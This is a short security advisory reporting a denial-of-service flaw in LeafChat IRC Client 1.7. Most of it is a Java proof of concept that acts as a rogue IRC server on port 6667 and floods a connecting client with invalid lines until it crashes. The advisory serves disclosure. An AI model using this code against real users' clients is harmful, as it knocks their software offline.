LeafChat IRC Client Subject to DoS

 
LeafChat IRC Client Subject to DoS
Reported June 25 by
MDMA Crew

VERSIONS EFFECTED
  • L
eafChat IRC Client 1.7

DESCRIPTION

If an invalid response is sent to chat client, the client will stop responding.

DEMONSTRATION

/* The MDMA Crew"s Proof-of-concept code for the DoS affecting LeafChat
*
* When the LeafChat IRC client recieves invalid data from the server, it
* displays a dialog box with an error message. Should the server rapidly
* send invalid messages, the system soon becomes dangerously low in
* resources and commits harikiri. :-)
*
* Vendor Info: www.leafdigital.com/Software/leafChat
* Crew Info: www.mdma.za.net || [email protected]
*/

import java.io.*;
import java.net.*;

class leafMeAlone \{

// Line below will have to be changed for Microsoft"s Java VM - oops ;P
static void main(String\[\] args) throws IOException, UnknownHostException \{

  ServerSocket shervshoq = null;
  PrintWriter white = null;
  Socket shmoeshoq = null;

  shervshoq = new ServerSocket(6667);
  System.out.print("Now listening on Port 6667... ");

  try \{
     shmoeshoq = shervshoq.accept();
     white = new PrintWriter(shmoeshoq.getOutputStream(), true);
  \} catch (IOException e) \{
     System.out.println("Errors accepting connection, y0");
     System.exit(1); \}

  System.out.print("Connection recieved\nCrashing client... ");
  for (;;) \{
     white.println(".");
     if (white.checkError()) \{
     System.out.println("Crashed");
     break; \} \} \} \}

VENDOR RESPONSE

The vendor, Fortech, is aware of this matter and however no response was known at the time of this writing.

CREDITS
Discovered and reported by MDMA Crew

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